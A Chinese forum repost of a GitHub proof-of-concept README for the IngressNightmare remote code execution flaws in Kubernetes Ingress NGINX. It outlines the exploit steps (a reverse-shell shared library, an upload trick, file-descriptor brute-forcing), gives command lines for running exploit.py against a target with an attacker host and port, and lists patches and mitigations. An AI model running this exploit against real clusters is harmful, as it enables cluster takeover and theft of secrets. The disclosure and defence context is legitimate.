Ingress NGINX - IngressNightmare 漏洞的 PoC 代码(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514 和 CVE-2025-1974)

2025-03-28 21:12:31 5 529

URL:https://github.com/hakaioffsec/IngressNightmare-PoC

该项目针对 Kubernetes 的 Ingress NGINX Controller 中的关键未经身份验证的远程代码执行 (RCE)漏洞提供了攻击,统称为 IngressNightmare。(由Wiz研究)

在最初的研究中,Wiz 团队没有提供 PoC 或功能漏洞,因此我们决定创建自己的并与社区分享。

概述

Ingress NGINX 控制器是 Kubernetes 环境中广泛使用的组件,用于管理对集群内服务的外部访问。最近在其准入控制器中发现的漏洞(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974)可能导致跨命名空间的所有机密遭到未经授权的访问,并可能导致集群完全被接管。

漏洞利用工作流程

该漏洞主要遵循以下步骤:

生成共享对象(由注入的ssl_engine属性使用): 编译包含反向 shell payload 的 .so 库(evil_engine.so)。

上传共享对象: 将编译后的共享对象发送到入口 pod,利用请求处理(客户端主体缓冲区)。这里的技巧是Content-Length向服务器发送不同的内容以保持连接打开并维护文件的文件描述符打开。

暴力破解 fd: 遍历进程 ID 和文件描述符(/proc/{pid}/fd/{fd})来识别引用上传对象的正确描述符。

用法

先决条件:Python 3.x GCC 编译器 Python 请求模块

运行漏洞利用:

pip3 install -r requirements.txt

python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](attacker_host:port)

Exp使用:python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443

有时admission webhook位于不同的命名空间中。在这种情况下,您需要在末尾指定命名空间,例如kube-system、default或ingress-nginx。

<ingress_url>:目标 Ingress URL(公共)
<admission_webhook_url>:准入 webhook URL(内部 webhook)
Attacker_host:port:反向 shell 的主机和端口

修复

立即更新:将 Ingress NGINX Controller 升级到修补版本(1.12.1 或 1.11.5)。

限制准入 webhook:将对 webhook 的访问限制为仅限 Kubernetes API 服务器。

暂时禁用:如果无法立即升级,请考虑暂时禁用准入控制器组件。

关于作者

Anonymous0篇文章0篇回复

We are Anonymous!

评论5次

要评论?请先  登录  或  注册